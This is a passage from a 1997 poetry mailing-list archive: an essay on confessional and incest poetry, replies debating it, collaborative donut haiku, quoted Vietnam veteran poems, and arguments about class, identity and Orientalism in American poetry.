Switch to the present day. As editors and writers, Jordanne and I are often given poems about the most private aspects of their writer's life. As poets, we find all sorts of personal moments making their way into our poems.

Does that make the writing good? Decidedly not.

I'm reminded of something a friend said about teaching Composition in college: "Right at the beginning of the course, I tell the students that while they might find themselves using personal material in the course, they may find it is too painful and uncomfortable to work with. And I also tell them that they do not automatically get a good grade when they put something personal in a text."

My main gripe at the moment is the flood of incest and molestation poems. They seem to generally start with an air of self-conscious daring, then move quickly to a fairly standard body of images, phrases, and plot twists, finishing often with either righteousness or melodrama or both. Just to start, there is not very much that is daring, in a literary sense, about writing an incest poem; an enormous number of writers have done and are doing it even as we read (or write). Further, while a tone of "I'm saying something controversial, something I know people will argue with" is almost always present, really, who defends incest? I cannot think of a single instance, at this moment, of anyone saying they think incest is good, or should become a standard family practice. Thus the set-up fairly reeks of straw dummies.

Having said this, yes, I have written one. And one of my favorite poems in the world is a poem by Bruce Weigl on the subject, "The Impossible."

Certainly incest is terrible. So are war, pestilence, famine, domestic violence, child abuse, illness, the death of parents and loved ones, rape, and a million other things. But it will never be the case that it doesn't matter what one writes, if one just remembers to write about an Important Subject.

To put this in a slightly different context, I have an acquaintance, a Mediocre Poet par excellence. He has been writing mediocre poems for a quarter of a

century -- poems with trite phrases, poems whose last stanza can be predicted from about the middle stanza on (and sometimes earlier). Typical example (not actual but representative): He rode in a frenzy over the mean streets, her words echoing in his head, her soft lips a memory.

One day, Mediocre Poet discovered a Subject: racism. Now I saw such oeuvres as:

He rode his bike in a frenzy
over the mean streets,
the ugly words, "black bastard,
nigger, boy" echoing in his head.

He would declaim these works passionately, glare in a sort of righteous froth if one did not immediately explode with praise -- "didn't we CARE about racism"? But that wasn't the point. Whether we cared about racism or not, they were mediocre poems, and he was asking me and his other listeners and readers to evaluate him as a writer, to put him in the context of writing. He wanted our praise as writers, praise for him as a writer, space in a magazine as a writer, but if we had any criticism of the writing, he ignored the writing to fixate on the subject.

A writer does not do a cause any favors if the writing is bad. More important to us as writers, it is in attention to details, to good writing, to finding the most accurate, clear truth -- a truth we know and care enough about to peel off our public "self" and reach deeper to get at -- that our most "important" poems, and indeed, writing, lies.

Important poems may not always be about earth-shattering subjects. Maxine Kumin writes a poem about swimming, a simple poem about going to a college swimming pool and swimming in meter to "Abide With Me." But inside that simple, important poem is a shimmering, aqua, gentle voice telling me about habit, about roots, about the weary reality of constant travel. Inside that simple poem -- a deeply personal moment conveyed in a stripped-down, unself-glorifyng way -- Kumin takes one of the greatest risks a writer can take: she shows her honest self without an effort to impress us, to write herself into a herioc narrative.

The risk is the truth, the step back from "what will people think of me when they write this poem." The skill is a matter of seeing, and a matter of deeply honed technique.

A deeply felt but clumsy poem about incest by a modestly skilled writer may still be important to the writer, to the writer's family and friends. Given to me by someone close in a moment of sharing deeply personal matters with each other, such a poem might well be deeply moving. But -- and here is where our Mediocre Poet comes in -- sent to me in a literary context, that is, put up to evaluation in a literary context, it is what it is: a not well written piece of

writing. And in that literary context, as an editor, as a public writer, I must evaluate the clumsy poem that way because it is my job to say when the emperor has no clothes.

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671. Eliza McGrand- CVA Guest

henry g's [always] provocative response!

Mon 23 Jun 1997

Hi Elliza,

I liked your essay, like hearing your voice, which seems to come from a different atmosphere from a lot on there (is it the Rochester MN atmosphere?). I have a couple comments on it - first, maybe you'd want to get into the difference between personal & confessional (confessional always seems to have an aura of shame or taboo around it - which is like an automatic increase in "sex-appeal" or relevance for some people. Personal is, as you point out, more basic & perennial). The other thing is just an editorial quibble - I think you use variations on the word "deep" too often. Another thing - I think people might question the historical aspect of it - the section about the personal up to mid-19th cent. - seems a little simplified. Does the "declamatory" in the Romantics you mention have anything to do with a response (on their part) to the neo-Classicism of Pope, Dryden, etc. who also socially-refined away the "personal" that you find in its rawness (& sexiness) in Donne, Wyatt, etc.? Were the Romantics trying to re-personalize English poetry - & perhaps fighting an uphill battle? As you say it was not un until the early 20th (Eliot on the metaphysicals, Pound, Williams) that the Renaissance "came back".

Nowadays our avant-garde symboliste aquademiques & our post-Amerique neo-formaliste nostalgiques leetle Reech poetes divide the scene between them in their manneriste formalities & the blazing personal of wheech you speeque is found onlee in the intersticees...

pleez forward to poetique leeste eef you theenk eet is provocateef...-Henry G

---

e, forwarding

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672. **DS**

Re: & also Re: haiku-gram

Mon 23 Jun 1997

At 11:04 AM 6/23/97 -0400, you wrote:
>Thanks, Katherine, for adding a haiku to the donut garland. Your
>post & mine crossed in the mail, so I've here sandwiched your 'ku
>inbetween those 2 of mine -- hope others have more dough to add
>to this nutsness.
>
>d.i.
>
>[d.i.]:
>
> forget the spam-po
> what I'd really like to see
> is donut haiku
>
> buttermilk sugar
> they knead me & they fry me
> none taste the center
>
>[Steven Marks]:
>
> the center holds holes
> something to nibble around
> no mess on my hands
>
>[d.i.]:
>
> without the coffee
> a donut is not done here
> darkness to imbibe
>
>[s.m.]:
>
> nut to do but dough
> coffee from a hell of beans
> my do-dough dissolves
>
>[d.i.]:
>

> nonesistence hides
> in the very word donut
> nut signifies naught
>
>[Katherine Lynes]:
>
> yellow innards splooch
> bavarian dive bomber
> cannot hold center
>
>[d.i.]:
>
> and what about do?
> do of course signifies dough
> a dough-naught for you!

do-ough a de-ar
a whole in one
raison drops in bun

> *y'all should join in*

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673. KIM DAWN BAKER
the abstract personal
Mon 23 Jun 1997

she started crying today. suddenly.
the limbs hang loose like dripping socks on a vent in a closed room,
filling the air inside the room . lungs without breath.
i drew the drapes.
i lied under the covers. I covered my face.
i feel like I deserved it.
i think all women should carry guns.

space of the room. space of the page.
blank. white. coded.
(I have smoked so many cigarettes today I have no throat left.)
vida simon wrote;" these words are stains." end quote)
I want a wet nurse to carry me under her breast for ever.
and she said, dont touch me.

and he said;
nothing.
she never spoke or felt the desire for touch again.
she hated her more than she hated him. she split from her self, again and again and hated each of the many sides.
she felt nine years old. she feared she would never understand daylight again.

the space of the page = the space of the room

they are both of the body. the body of the tongue moistens the page and salts the periphery of the room. the tongue is the important limb here because it is the vehicle of sexuality and the vehicle of
l a n g u a g e .
this is a tired tongue.
this is a dry mouth.

the mark upon the page. the incision/inscription of mark into/upon/beneath the skin. the mark is the memory. the memory is always there. she is not always present.
she lost her mouth.
she lost her will.
the drapes are drawn.
what I feel at this moment is authentic. I believe this. my face wettens as I read or write anything to do with
the (disembodied)/my(embodied) body.
this is a result of language.
the body refers to a body, any body, a depersonalized body, a body other than my own, or my own, a room, a space, a page, the social body, the body of language, etc.
my body refers to this skin this flesh of mine which are penetrated, stabbed, marked, incised upon. this skin which sweats, sticks, breathes, suffocates, this suicidal body.
through language (coded) I can (pre) determine the stasis of the dis / embodied state of my corps through my use of words. there is power in this choice of whether it is mine or nobodyÕs or everybodyÕs. but it is always all three. plus the other/s. which makes six, the splits duplicate themselves. these bodies are transparent but can still bleed and stain and be cut through with knife.

there is no difference between the abstract and the personal. abstraction is an unnecessary term, it is a defunct of language. it describes nothing. except the inability to describe. abstraction is as, if not more personal than what is deemed to be personal, because the abstract purposefully encodes itself to be

indecipherable to the viewer. the abstract is dishonest. it is in hiding, it has kidnapped the free flowing body, it constricts, it mangles, it distorts, until there is no memory upon the surface, there is only diluted, misplaced memory.

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674. **David Israel**
Re: info on Bryars?
Mon 23 Jun 1997

Some dozen years ago, Gavin Bryars was among the composers whom Charles Amarkhanian interviewed in his live interview-plus-music series "Speaking of Music" (held at the Exploratorium, at the Palace of Fine Arts in San Francisco, during several years in the pre-deliquescent 80s).

I recall that Bryars seemed to have a bit of a dry sense of humor. The "Jesus Blood" piece still lingers in memory these many years later. One had the sense that he emerged -- generally speaking -- out of a world / sensibility akin to other experimentalists (esp. Terry Riley & Steve Reich) who'd toyed w/ tape loops & who came to be called minimalists.

Among Herb Levy's always-good music annotations, was this:

<< Bryars' more recent music can be heard on a couple of good CDs of chamber music on ECM (After the Requiem & Vita Nova), & a disc of string quartets & duos on Argo. >>

By the by, one of those string quartet pieces of Bryars' was just lately used by NYC choreographer Gloria McLean (erst a dancer w/ the late Eric Hawkins' company, & now doing her own thing) in setting a new dance piece.

d.i.

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675. **Maria Damon**
Re: _My Life in the Bush of Ghosts_
Mon 23 Jun 1997

---

wow, i had no idea tutuola had been alive all this time...yes, his work is amazing. i tried to get it on the list of 20 books that MFA students have to read here, but no dice.

At 8:26 AM -0700 6/21/97, Aldon L. Nielsen wrote:
>Amos Tutuala died last week -- small obits here and there, but many U.S.
>papers failed to quote anything from his books --
>
>If you haven't already, read _The Palm Wine Drinkard_

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676. **David Israel**
Re: Attachments
Mon 23 Jun 1997

Duly noted -- sorry, won't do it again.

d.i.

/ / / / /
>
> Date: Mon, 23 Jun 1997 09:55:04 -0700
> From: Herb Levy <[redacted]>
>
> Uh, I understand the frustration someone might feel not being able to
> get through to the list or with how ASCII reconfigures texts, but
> sending e-mail attachments to more than 500 people on an e-mail
> discussion list is not a good idea.
>
> These don't always come through legibly, especially for those of us
> who receive the list in digest form.

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677. **Charles Alexander**
help find
Mon 23 Jun 1997

Sorry to bother the list with this, but does anyone have an email address for Matthias Regan -- I seem to have misplaced it, and I recently had some Chax broadsides I sent to him returned to me, so I'm trying to find him.

thanks,

charles

ps -- please email me directly.
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

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678. **Kali Tal**
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

Eliza,

I'm on a diff wavelength than most of the folks I read on the POETICS list, but, as a certified lit critter and publisher of poetry which has sometimes been seen as "confessional," I figure I might as well let you know what I think of your article and use it as an opportunity to take a stand for a particular sort of "personal" writing.

The way I read it, you're arguing against giving automatic *literary* pats on the back to poets who write about their own incest/abuse and you're upholding some sort of standard of good poetry which these poets--like other poets--need to meet in order to qualify *as* good poets. Okay. I don't know many people who would disagree with you on these grounds, just as you don't know many people who would support the notion that incest is a Good Thing. Honestly, I don't see any bigger flood of "plain awful" poetry about incest than I see about other "personal" subjects, ranging from death to sex. And I think if it was there, I *would* see it, because I study and write about sexual abuse survivor literature along with several other literatures of trauma. So I'm not convinced that you aren't creating a straw woman to bash here. Question is, why? I mean, why pick on incest poetry particularly?

For the last 10 years I've been working with and publishing Viet Nam veteran writer poets--mostly working class guys, mostly *guys*, and mostly of the leftist antiwar stripe; enlisted men and noncoms, usually not officers and never officers over the rank of captain. If you know the military, you know what kind of guys I'm talking about. Some of them have gone through creative writing programs, have MFAs, some from "good schools." But mostly they aren't poets of the sort usually discussed on this list. Now, I *like* the work of a lot of poets discussed on this list, but I don't think it's the only kind (or even the best kind) of poetry out there. I think the guys I publish are pretty fucking good, maybe *because* they are mostly talking about things that matter to them in the way that few things matter to *anyone*--matter in the way that life and death matter when they're up close and personal and you've crossed the line between them and the most important thing in your life is to make other people SEE/READ how *much* they matter. A poem about swimming (which, of course, really *isn't* about swimming, or not in the way that we usually think of swimming) just isn't the same. Can be good, even great. But not the same. These poets I'm talking about, they aren't waving; they're drowning. And that makes all the difference.

Because I publish a journal in which I often feature the work of veteran poets, I'm inundated with Bad Viet Nam Veteran Poetry. You're right. Just cause a guy pours his heart out on a page doesn't make it art. You wouldn't believe the number of poems about the Wall I'm subjected to every year, and almost every goddamn one of them *sucks*. In fact, I've been thinking of doing a stuffed owl version of "Bad Wall Poetry" subdivided into sections called "You're Dead and It Makes Me Blue/I Oughta Be Dead Too," "Those Motherfucking Politicians Sent You Off To Die/And They Never Even Told Us Why," "If To the POW Cause You Are Not True, I'll Hold My Breath Till My Face Turns Blue," and "I Dodged the Draft So I Wouldn't Get Kilt/And Now I'll Bore You With My Guilt." Yeah, there's a lot of bad poetry about the Viet Nam war out there. More of it, I'd wager, than there is bad incest poetry, because by my calculations there's a lot less incest poetry out there overall.

There are also stunningly good poems by vets about their war experience, or, rather, about the way they've come to reimagine and reconstruct their experiences so that they *tell* us something in a way that touches us someplace new. So you know where I'm coming from (and as a counter to your Mediocre Poet), I'll give you an example of what I'm talking about. David Connolly is a working class guy whose Irish American family has lived in South Boston for generations. He doesn't have a creative writing degree, but he's taken a lot of workshops and he's struggled to refine his poetry for going on twenty years. W.D. Ehrhart (a rather more well-known working class Viet vet poet--see the latest issue of _War, Literature & the Arts_ which is devoted to his work) "discovered" David when David and his adult daughter took Ehrhart's course at U-Mass Boston. David's got over 20 years in working for the phone company. He's an IRA symp, a strong union man, a dedicated father, and a friend who would ride shotgun for you through the gates of hell. In short--exactly the kind of person, and poet, of which I'm most fond. David's also the kind of poet who can do a reading and hold an audience rapt, take them along for a whiplash rollercoaster ride and then slam their heads into a wall so that they fucking WAKE UP when he's reading. Maybe that's not what you want out of a poet, but it's one of the things I want, so I published his book, _Lost in America_. You gave a 16th C. example of a poem containing personal revelation that you liked, and a 20th C. example of the mediocre. Here are two 20th C. examples I think are swell.

The first is David Connolly's prose poem and--like other poetry--it helps if you know the lingo of the genre, so I'll tell you now that "dien cai dau" is Vietnamese for crazy (shortened in English pidgeon to "dinky dow"). "Ops" are operations, "grunts" are combat infantry, "boonierats" are soldiers who stayed out in the bush, "APC" is an armored personnel carrier, the Michelin was a French-owned rubber plantation, ARVNs were the soldiers of our South Vietnamese

allies (in soldier lore not known for their courage), "MP" is Military Police," and "LT" is a lieutenant.

LETTER TO THE BEAR, LOST IN AMERICA

Hey Bear,

Listen up! You remember coming in from those road ops, the convoys back and forth to Cu Chi, fucking caked in clay? And no one would take a shower because some big-assed red bird was sitting up on the roof, like he was the spirit of death or something? Remember? That bird had nearly twenty hard, young killers milling around in towels and shower shoes, all rolling their eyes, saying shit like, "Not me, m'man, I ain't going first, uh uh, no way, nevah happen!" I think that Chicano gunner started it about birds being bad luck because he asked me one time if the Irish thought so and I told him, "si, m'man, es verdad." Then that dien cai dau Clyde, the grunt the NVA loved to nibble on, that dude who had forty, fifty little shrapnel hits on him, and a couple of big ones, who wasn't afraid of shit, he grabbed Gracie's shotgun and jacked one ready. Now I knew that shotgun was full of deer slugs, man. I knew that round would go through that bird like off-duty sailors through a corner full of whores. And I knew the sound of the gun would scatter those boonierats like they were fucking ARVNs. But I was high and I knew he'd fire before I could speak, and he did. He let go at that bird, man; remember how it disappeared? For a few seconds, a smoky halo of red feathers hung just above the shower, then began to fall on the crowd which by that time had become an absolute clusterfuck of towels and assholes and elbows, half of them trying to get away from the gunfire and the rest trying to get out from under the birdshit and red feather rain. And the slug, it kept going, man, up, right into one of those transformers on the poles along the perimeter road. It whanged into the case and the top just burst open with sparks. What a pop, huh, like the Fourth of Fucking July. Then the power line fell and the guy going by in the jeep swerved to avoid it and drove right into the open deck of that old APC? That stopped everyone in their tracks, huh? If there was one thing we all understood and appreciated, it was destruction, man. We were all howling and shit, pointing to the dipshit driver who was grinning and waving like I'm OK, Ma, to us. Then the jeep blew, and that old, gas-powered track lit off from it and the ammo in both started to cook. That driver was trying to jump up his own ass to get out of the way. We were all fucking dien cai dau by then, hysterical, holding on to ourselves, cheering and watching it all. People were passing around doobies and putting red feathers in their hair and shit, roaring out what was blowing off. There's .50s; there's some M-60, yea, grenades! Then the MPs came, fucking housecat cops, and broke it all up, actually told us that what we were doing was dangerous. That night,

it was all we could talk about, the "Big-Assed, Bad Luck, Bird Blast Blast," everybody all fucked up, giggling about it, all high and shit, well into the night? And the next morning we went into the Michelin. And only Gracie and Shock, Ratshit and the LT, and you and I came out. Then Ratshit and Gracie and the LT, they all got wasted up north. So listen, Bear. The other morning, the phone rang, and I found out that Shock was dead, man. And this morning, as big as life, there was a bright red cardinal in my yard. I might have been a dumb grunt, but I'm not stupid. I let him be. So now it's just you and I, Bro, who remember when we laughed at death, then met him, him and his fucking bird. I hope it's not just me. Out.

So maybe that pins your meters and maybe it doesn't. Me, I laughed myself sick the first time I heard David read it, and then, when I read it in hardcopy, read it over and over again, marveling at the layers he'd managed to create. That's *personal*; David's got nightmares about the up-close-and-personal deaths of each one of the guys he's named above, and they wake him up screaming. In my opinion, his gift is turning that into poems that make things happen for listeners and readers. Reading to a roomful of vets (and these are vets with Ph.D.s--most of them in literature--at the Sixties Generations conference) he's got to keep pausing because you can't hear him over the roar of laughter. And then you can hear a pin drop in the silence after the last four paragraphs. After which, slowly, you can hear folks start to murmer, "Fucking A, man, fucking A."

The second poem is by Horace Coleman. Horace is also a Viet Nam vet--Air Force. In Viet Nam he was an air traffic controller, which apparently wasn't much fun during the Tet offensive. At home, he was a black man who couldn't get a job doing what he'd been trained to do, and so he went off and got an MFA at Bowling Green, taught for a while, and then opted out of the literary life and into a job at McDonnell Douglass where he's been working for more than 15 years. His book _In the Grass_ took him over 20 years to complete, time stolen from earning a living, dealing with nightmares, and assembling a life out of the pieces left to him by the war.

ORIANA FALLACI

It was on a small plane
playing checkers
on the green chessboard of Viet Nam.
Riding with the cargo door open,
swaying in the bumpy air
like drab chandeliers, GI issue,
on our way from Can Tho to Saigon

or was it Saigon to Can Tho?
The loud engines talked
to each of us, alone,
going to, and from, our private hells.
Fallaci, as usual, beautiful in
braids, unlabeled non-issue fatigues, and loafers.
No story here; no flirtations; no interviews.
Just the quiet of grunts,
a round-eyed woman,
and the danger, somewhere,
we all love.
Now breast cancer may kill her
if smoking cigarettes while
breathing pure oxygen doesn't.
Something is going to
get us all, eventually.

> *The risk is the truth, the step back from "what will people think of me when they write this poem." The skill is a matter of seeing, and a matter of deeply honed technique.*

Couldn't agree with you more, Eliza, but, again, I think you'd be hard put to find folks who *disagreed* with you on this count. A critic and an editor has got to do her job. I send most of the VWar poems I receive back to their authors with rejection slips. So I've gotta ask, what's your point? I simply can't find any place where anyone says that, for example, a piece of writing about incest is good writing merely because it's about incest. On the other hand, I don't regard an incest poem (or a VWar poem) with greater suspicion because of its subject matter. The article won't work for me, at least, unless you make clear exactly *who* you are challenging.

Best,
Kali
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/
Home Page: http://www.azintl.edu

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679. **Alan * Sondheim**
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

I like the sections you quote but you seem to place heavy emphasis on class origins and background - which is fine - but then you don't know our backgrounds or class origins or pain either. And the fact that someone has been through Vietnam and is working class doesn't result in a particular kind of writing - I know of other examples.

What I'm trying to say, is why give background, as if that negates or cri- tiques the work on this list, since our various backgrounds are, I assume, unknown to you?

The writing you present stands by itself; I wonder about the need, as well, describe it as working class, as if it needed that buttressing.

And I don't have a creative writing degree.

Alan

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680. **Pritchett,Pat**
Re: abstractly personal
Tue 24 Jun 1997

Reminds me of a story Valery tells about Mallarme and Degas. (I paraphrase wildly):

Degas: I really want to write a poem - if only I had some ideas for one. Mallarme: But my dear Degas, poems aren't made with ideas - they're made with words!

Patrick Pritchett

From: Dean Taciuch
To: POETICS
Subject: Re: abstractly personal
Date: Friday, June 20, 1997 11:43PM

And in 1951, at Harvard, introducing "Spring and All":
"Poems are not made of thoughts, beautiful thoughts, it's [sic] made of words! Pigments put on--here,there, made, actually."

These were, judging by the audience reactions on the tapes, surprising ideas.

Dean Taciuch

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681. **Susan Wheeler**
Brathwaite film/video
Tue 24 Jun 1997

A LONG time back someone asked about a video on Kamau Brathwaite's Mother Poem. I've just seen it -- it was made for the CBC by Margaret Harris in April of 1996 and is called "Walking the Steps of the Imagination." It follows Brathwaite and his students on a trip to Barbados and is perhaps 20 minutes long. Hope this helps albeit tardily.

Kudos to the haiku daredevils --

Susan

Susan Wheeler
[redacted]
voice/fax [redacted]

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682. **Piombino/Simon**
Re: abstractly personal
Tue 24 Jun 1997

"...Journals are really communal books. Writing in a group is an interesting symptom- which hints at a further great development of the writing business. Perhaps sometime people will write, think, and act en masse-whole communities, even nations will undertake a work."

from Novalis, Philosophical Writings, translated and edited by Margaret Mahony Stoljar, SUNY Press,1997.

The above quote from a manuscipt of Novalis written between 1797 and 1799.

Nick P.

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683. **David Bromige**
yesterdays mail
Tue 24 Jun 1997

Excuse the intrusion, but I want to reach as many potential posters-to-me as possible: I lost all messages from sunday & monday, so if any of you posted me personally, would you be kind enough to re-post that message? (If you posted me abstractly, however, you needn't bother). Thanks, David "bumblethumbs" B

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684. **Kali Tal**

Re: long article up for criticism if yr up for it!

Tue 24 Jun 1997

> *What I'm trying to say, is why give background, as if that negates or critiques the work on this list, since our various backgrounds are, I assume, unknown to you?*
>
> *The writing you present stands by itself; I wonder about the need, as well, describe it as working class, as if it needed that buttressing.*

Well, since I wrote a whole book about why the identity of the author matters, I guess I think it matters, *particularly* in the case of authors who are also trauma survivors. (And I've got grave argument with poets and critics who feel it doesn't matter, since I view quite a bit of poetry which appropriates the experience/race/gender of others as, uh, inappropriate--a view which is likely unpopular on this list.) As for the emphasis on class, that seems to be the factor that is consistent in the vet poets I publish. It wouldn't be as important to me if I were describing a set of incest poets, for example. When I write about incest literature, *race* seems to me much more important than class. If the work "stands on its own" (and I don't think *any* work "stands on its own, it's just with some work and some audiences, things more easily go without saying) then it surely can't *hurt* to have more information about the author, unless one feels that facts somehow get in the way (a notion which is distressing, indeed).

It's troubling to me that my decision to emphasize class, to discuss the working class nature of this vet poetry, is seen as some sort of critique of other poets on the list. In fact, I *do* know the backgrounds of some of the other poets and would count, for example, Joe Amato's (hi, Joe!) working class background as a (maybe *the*) major influence on his poetry and criticism, though Joe himself might disagree (and is certainly, if he does disagree, going to say so here in inimitable Joe fashion). In my view, people don't talk about class nearly enough--it matters in writing, as it matters in other parts of life. We've had long discussions on the list about the benefits and drawbacks of the literary academy, creative writing programs, etc., and we don't need to rehash them (or maybe we do). It seems to me clear that the institutionalization of poetry in the academy has the effect of creating an environment which often works to exclude working class poets. I find that working class poets generally have less patience with Theory (and please do notice the capital "T", for I am by no means arguing that working class poets do not have theories of poetry) and more interest in writing poetry that creates movement in the world (teeth or trees or lemons piled on a step) than do poets with middle- and upper-class backgrounds. This is meant as no insult; merely an observation. I happen to find

Theory compelling, and I argue with my working-class scholar friends (particularly those involved in working class studies) about it all the time, but then, I'm from an upper-class background myself and so I'm aware that my interest might simply work to underline their point.

Coming from a background in African American and Women's Studies, it would be hard for me to make an argument that the identity of the poet doesn't matter. I'm of the Omi & Winant persuasion here; I don't think identity is essential, but I think that people essentially identify and that how we think about what we are creates not only what *we* are but, when we're members of a dominant group, what *other* people think they are; we limit or define what other people can and cannot be. So if I'm going to talk about a poet, I'm going to talk about that poet's (complex) location on the race/gender/class grids and, if I don't know enough about the poet, I'll ask questions. But, yeah, I do think those answers are important.

Kali

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685. **Pritchett,Pat**

Re: Paint, he sd, or move objects around

Tue 24 Jun 1997

Ron,

Thanks for the great summary of the SF scene in the 70's and its bearing on LP. You're right - there is no neat and tidy way to sum up all that exchange, but it's interesting to think on. I lived in SF from 1975 to 77 but alas, was oblivious to the great goings-on. Was a freshman at State, thrilled to be reading Pound and WCW for the first time. Can only surmise what I would have made then of what y'all were doing.

btw: thought of you last nite while watching a re-run of Ken Burns' "Baseball" series, Part 9: the 1975 Red Sox-Reds World Series, Bill Buckner's heartbreaking grounder bloop, Bill "Spaceman" Lee's lovely cosmic jive, and of course, Kirk Gibson's smash in 1988 against your A's.

Best,
Patrick

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686. **Wendy Battin**
Re: info on Bryars?
Tue 24 Jun 1997

Many thanks, Herb, Keith, Joseph Z. & David I., for info and recommendations. Am especially intrigued by mention on the netpoint site of GB's "miced media piece" & imagine it takes godlike patience to get them all trained.

Wendy

---------- Wendy Battin
http://www.geocities.com/SoHo/Lofts/5471/ashland.html

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687. **Joe Amato/Kass Fleisher**
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

well i've just finished wrestling an air conditioner into our bedroom (hi kali!) and, thank the lord, it hasn't blown a fuse... yet... so at least we'll be sleeping cool here in chicago when it's this hothothotmuggymuggymuggy...

i come to these issues of identity and appropriation in terms of struggle, and play... i like work that shows me either, or both... for example, i've posted before re my suspicions re story (as opposed to narrative)... but hey, i like a good story---so if you're gonna tell me one, well then i expect that you'll turn things to show me that you've sweated over those character/plot/structural issues... i guess then that my judgment in such matters is tied to my understanding of the way stories/narrative (can) work, and expecting authors to attend to such difficulties (whether conventionally or in less orthodox terms)... so yeah, it's a judgment call... but thing is, i come to a given work through its context, a context in which the work itself, formally speaking, plays a major role... but so many things do---the author, of course, the publication, the press, the era, the time of day, my mood... sometimes i find it easy to dismiss the author, sometimes less so... sometimes i find the author(-function) paramount in fact---when i'm familiar with a given author's oeuvre, so to say, i tend to read across all of her works...

i'm using the term "work" here self-consciously... yeah, i was raised very working class, you bet... but class is shifty, you can shift in and out of different classes... which is not to say that you can forget... perhaps you can, i can't, or won't...

and of course i don't mind theory, Theory, whatever---i would say that being theoretical is generally a good thing (i didn't use a T, now)... of course, i see the

currents i'm involved in as a writer to be broader, more popular than those that inform Theory as such... even pop cultural theory isn't really popular...

anyway, part of the issue i see in this thread has to do with the status of the real... i think the real still has real status... i use "real" here as a category (sometimes i'll write "actual," just b/c, as we all know, everything is real, or can be deemed so) and i'm prone to ask if in fact the struggle over this category isn't a key factor in distinguishing different groups of writers and readers...

ok, i'm sweating now!...

best,

joe

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688. **L. MacMahon and T.R. Healy**
more haiku-gram
Tue 24 Jun 1997

> *[d.i.]:*
>
> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
>
> *[d.i.]:*
>
> *without the coffee*
> *a donut is not done here*
> *darkness to imbibe*
>
> *[s.m.]:*
>
> *nut to do but dough*
> *coffee from a hell of beans*
> *my do-dough dissolves*

> *[d.i.]:*
>
> *nonesistence hides*
> *in the very word donut*
> *nut signifies naught*
>
> *[Katherine Lynes]:*
>
> *yellow innards splooch*
> *bavarian dive bomber*
> *cannot hold center*
>
> *[d.i.]:*
>
> *and what about do?*
> *do of course signifies dough*
> *a dough-naught for you!*
>
> *[D.P. Salmon]*
> *do-ough a de-ar*
> *a whole in one*
> *raison drops in bun*

[Randolph Healy]
Sphere before torus
when the centre was not holed
goodbye nut hi ring

batter my heart and
artery o sweet and fat
confectionary

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689. **henry g**
Re: long article up for criticism if yr up for it!
Tue 24 Jun 1997

Kali makes a lot of interesting points that raise the question(s) about what poetry is now... & I agree with Joe that the stance toward what is "real" is important (as Chas. Peirce said, everybody has a philosophy whether they know it or not).

I guess I will keep following/adapting Dewey here & say that poetry is basically a kind of free expression, but it's always grounded in some kind of experience, & if you deny the experiential it trivializes the work. The weight of it comes from awareness of background. All writing is a kind of reflection, but "critical awareness" also involves some kind of distance... so writing "from your identity"

(on the grid) might involve writing AWAY from your identity. If poetry is promoted for its use-value alone (empowerment) the tendency while empowering also blunts the critical edge (or one of its edges, anyway)... I'm sure the Lingo Potters among us have "something" here.

My own view is that poetry has this double-edge, coming from experience - lived, felt, authentically rendered - on the one hand, and coming, on the other hand, from the sky. I mean this in all seriousness. Criticism/ inspiration = freedom. I'm talking about the "emotion of multitude" as Yeats called it, or more profoundly, Whitman's cosmic inspiration - "I exude my flesh in eddies & jags" or however it goes - or Coleridge's Imagination as the "I AM" - to me this is the linch-pin of both unity & individuality. Art shares this "representative" universality in expressing particular experience & helps make possible the graftings & cross-overs on Kali's "grid" that in my view are the only hope, unless we all want to live in the regional archives of our own true memoirs. But you have to experience it. It comes from the sky. The sky is universal enough for an earth-creature (you can throw in a few stars, too, if you want - rhymes with Mars, jars, and also Lars).

An awareness of "where the writer's coming from" sure would reduce the level of mediocre art; it would also make appropriations, masquerades, & imitations (not, in my view, always inappropriate) more effective. In fact most writers' personal data is now available in full on the internet. Mine was there even before I got published. See http://www.fbi.nerd - you'll find yourself there too.

- Henry Gould

Jack Spandrift's new CD, "Byron Hello Mercury", is available on the Aliens R Us label. Throw $10. up in the air & wait for the light.

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690. **Hoa Nguyen**

Re: Buddhism and racism

Tue 24 Jun 1997

Dear List:

Below please find a forward from the CAPL list. I wanted to share this with you because I find this subject of great interest and want to respond to Dean A. Brink's assertions.

Thanks,

Hoa

> *---------- Forwarded message ----------*
> *Date: Fri, 20 Jun 1997 18:19:01 -0700*

> *From: "Dean A. Brink" <[redacted]>*
> *To: Discussion of Contemporary American Poetry <[redacted]>*
> *Subject: Re: (Fwd) "Buddhistic poetry" & racism (fwd)*

I find this discussion about the place of Buddhism in American poetry to be representative of the mainstream - from Gary Snyder to any number of poets that employ Asian imagery for superficial exotic effects. We need to turn the anthropological eye back on the non-Asian Americans who have convinced themselves that they are the superior, true Buddhist poets of the day.

What is exposed by the anthology and the defense by its contributors, editors, and others is the extreme to which Orientalism is indeed a unacknowledged part of American poetry and poetics. It goes hand in hand with a rhetoric of sincerity and is always riddled with "bad consciousness" born out of its blindness to the historical.

Who gains from this? Certainly it does Asian-Americans no good. Poetry by Asian-Americans tends to include poetry highly conscious of stereotypes, orientalism, racism, and the many ironies born of the ahistorical ignorance exhibited in Kent Johnson and his associates.

That Lew and others are angry should be Mr. Johnson's first clue that he may be in the Buddhistic loop of consciousness, but he's out in apple pie left field otherwise.

That Asian-Americans would be excluded is obvious: the editors of the anthology sought to reinforce a "vision" of Asia (for which Buddhism serves as a metonym) that is less-than-discretely post-colonialist in tone. The white Buddhist tribe represented in the anthology purveys the myth of the Christian missionary superiority as it expropriates candy Buddhism. Buddhism becomes a commodity among a New Age people ('in search of deeper truths') who sample various religious imagery to evoke a sensibility that peaks with their pleasantly bourgeois conundrums, or offers a refreshing disorientation vis-a-vis the logocentrism of everyday life.

